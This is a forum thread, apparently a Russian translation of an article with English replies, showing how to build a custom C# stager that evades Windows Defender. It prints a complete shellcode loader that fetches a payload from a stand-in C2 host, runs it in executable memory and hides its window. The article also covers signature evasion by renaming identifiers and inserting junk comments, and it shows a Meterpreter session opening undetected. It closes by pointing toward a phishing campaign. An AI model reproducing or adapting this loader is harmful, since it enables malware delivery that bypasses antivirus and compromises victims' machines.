- Автор темы
- Добавить закладку
- #21
Yes that is correct - if you were going to stage source code and compile at run time it may assistgood article but if i'm right compiler remove comments when you compile.
Yes that is correct - if you were going to stage source code and compile at run time it may assistgood article but if i'm right compiler remove comments when you compile.
Thank you for translatingТакие инструменты, как Защитник Windows, в значительной степени полагаются на совпадения сигнатур для выявления вредоносных полезных нагрузок и артефактов, которые могут оказаться на компьютере пользователя. Хотя эти средства контроля с годами улучшились, различные методы уклонения от защиты позволяют злоумышленникам постоянно подрывать такие обнаружения. Одним из таких обходных путей является разработка кастомного стейджера.
Стейджер — это просто небольшая часть программного обеспечения, которая загружает второй кусок вредоносного ПО. Он используется, чтобы избежать обнаружения на передовой, например антивирусного программного обеспечения. Наиболее часто используемые платформы C2, такие как Metasploit, Cobalt Strike и другие, имеют такие встроенные возможности, позволяющие быстро развертывать маячки C2, когда это необходимо. К сожалению для пентестеров, большинство из них хорошо известны стражам защиты, таким как Защитник Windows, и поэтому их легко обнаружить.
Возьмем следующий пример: поэтапная полезная нагрузка Meterpreter генерируется автоматически с использованием msfvenom (часть бесплатного фреймворка Metasploit с открытым исходным кодом):
Посмотреть вложение 37270
Результатом является поэтапная полезная нагрузка, которая будет использовать протокол HTTPS для связи и отправки команд на компьютер-жертву с сервера C2. Однако после переноса на компьютер с Windows 10 с запущенным Microsoft Defender стейджер немедленно обнаруживается:
Посмотреть вложение 37271
Такие инструменты, как DefenderCheck (https://github.com/matterpreter/DefenderCheck), позволяют пользователю видеть, что именно Защитник Windows идентифицирует как вредоносное в исполняемом файле. При запуске против полезной нагрузки генерируется вывод, который точно определяет конкретное место в полезной нагрузке, которое вызывает предупреждение:
Посмотреть вложение 37272
Из этого вывода может показаться, что виноват веб-запрос, использующий строку пользовательского агента Meterpreter по умолчанию. Одним из возможных обходных путей для такого обнаружения является повторение каждого обнаружения и модификация стейджера до тех пор, пока не будет больше совпадений сигнатур. Другая возможность включает в себя разработку пользовательского стейджера, а не стандартного стейджера Meterpreter.
Для этого пользователь должен сначала определить URI, к которому стейджер обращается за своей вторичной полезной нагрузкой. Используя инструмент Python под названием Twistd3, пользователь может перехватывать HTTPS-трафик и видеть, с каким ресурсом связывается стейджер. Сначала необходимо сгенерировать пару сертификатов HTTPS с помощью OpenSSL, а затем вызвать Twistd3, используя эту пару ключей, для прослушивания входящих подключений. Для этого сначала сгенерируйте закрытый ключ:
Посмотреть вложение 37273
Затем создайте связанный открытый ключ, используя закрытый ключ, только что сгенерированный для связи по протоколу HTTPS:
Посмотреть вложение 37274
Затем прослушиватель HTTPS настраивается с помощью Twistd3 для перехвата запроса стейджера:
Посмотреть вложение 37275
При создании стейджера TCP-порт 25005 был определен как порт, который будет использоваться в полезной нагрузке. Таким образом, необходимо установить правило переадресации портов, чтобы передать соединение на адрес локальной сети, который прослушивает TwistD3. Как только это правило станет активным, вернитесь к тестовой машине и выполните полезную нагрузку:
Посмотреть вложение 37276
Возвращаясь к слушателю Twistd3, мы идентифицируем ресурс, который пытается найти стейджер:
Посмотреть вложение 37277
На приведенном выше снимке экрана показан запрос GET для довольно длинной строки; это место, которое Meterpreter будет прослушивать для стейджера, чтобы вытащить и выполнить вредоносную вторичную полезную нагрузку. Теперь, когда это определено, его можно использовать в пользовательском стейджере.
Для этого начните с некоторого шаблонного кода C# (приведен ниже), который будет выделять память для вредоносного кода, отправлять веб-запрос, а затем выполнять этот код в том же процессе.
Посмотреть вложение 37278
C#:using System; using System.Net; using System.Text; using System.Configuration.Install; using System.Diagnostics; using System.Runtime.InteropServices; using System.Security.Cryptography.X509Certificates; public class Termak { //Junk comments //Junk comments [DllImport("kernel32")] private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect); [DllImport("kernel32")] private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lppermUpgrade); [DllImport("kernel32")] private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds); private static UInt32 MEM_COMMIT = 0x1000; private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; [DllImport("kernel32.dll")] static extern IntPtr GetConsoleWindow(); [DllImport("user32.dll")] static extern bool ShowWindow(IntPtr hWnd, int cmdShow); //Junk comments public static void Main() { IntPtr h = Process.GetCurrentProcess().MainWindowHandle; ShowWindow(h, 0); while (true) { System.Threading.Thread.Sleep(1); string progLoc = "https://c2domain.com:8080/resource"; addFunc(progLoc); } } public static void addFunc(string progLoc) { WebClient wc = new WebClient(); wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"); ServicePointManager.Expect100Continue = true; ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12; ServicePointManager.ServerCertificateValidationCallback = delegate { return true; }; byte[] stromBolicode = wc.DownloadData(progLoc); UInt32 forStoppage = VirtualAlloc(0, (UInt32)stromBolicode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); Marshal.Copy(stromBolicode, 0, (IntPtr)(forStoppage), stromBolicode.Length); IntPtr jokMarkingCalc = IntPtr.Zero; UInt32 permUpgrade = 0; IntPtr optionOne = IntPtr.Zero; jokMarkingCalc = CreateThread(0, 0, forStoppage, optionOne, 0, ref permUpgrade); WaitForSingleObject(jokMarkingCalc, 0xFFFFFFFF); } }
На приведенном выше снимке экрана запрос GET изменен таким образом, что он обращается к домену, контролируемому злоумышленником, и указывает на IP-адрес C2 путем изменения записи DNS "A".
Кроме того, строку пользовательского агента следует изменить вместе с именами переменных и именами классов на тот случай, если Защитник Windows видел аналогичный код в прошлом и сгенерировал для него подписи. Также вставляются "Junk comments", чтобы еще больше скрыть истинное намерение стейджера:
Посмотреть вложение 37279
Посмотреть вложение 37280
После завершения исходный код сохраняется и готов к компиляции. К счастью, сегодня C# широко используется, и компилятор есть на всех машинах, где работает платформа .NET.
Посмотреть вложение 37281
Теперь возвращаемся к машине с Kali Linux и запускаем Metasploit Framework:
Посмотреть вложение 37282
После загрузки поэтапная полезная нагрузка Windows x64 используется со следующими установленными параметрами:
Посмотреть вложение 37283
Введите exploit , и слушатель запустится:
Посмотреть вложение 37284
Полезная нагрузка выполняется на конечной точке:
Посмотреть вложение 37285
Открывается оболочка Meterpreter:
Посмотреть вложение 37286
При успешном выполнении проверьте, чтобы Защитник Windows не оповещал о нашей атак:
Посмотреть вложение 37287
Когда у вас будет рабочая полезная нагрузка, вы можете перейти к созданию фишинговой компании, чтобы запустить ее! Эта статья скоро появится...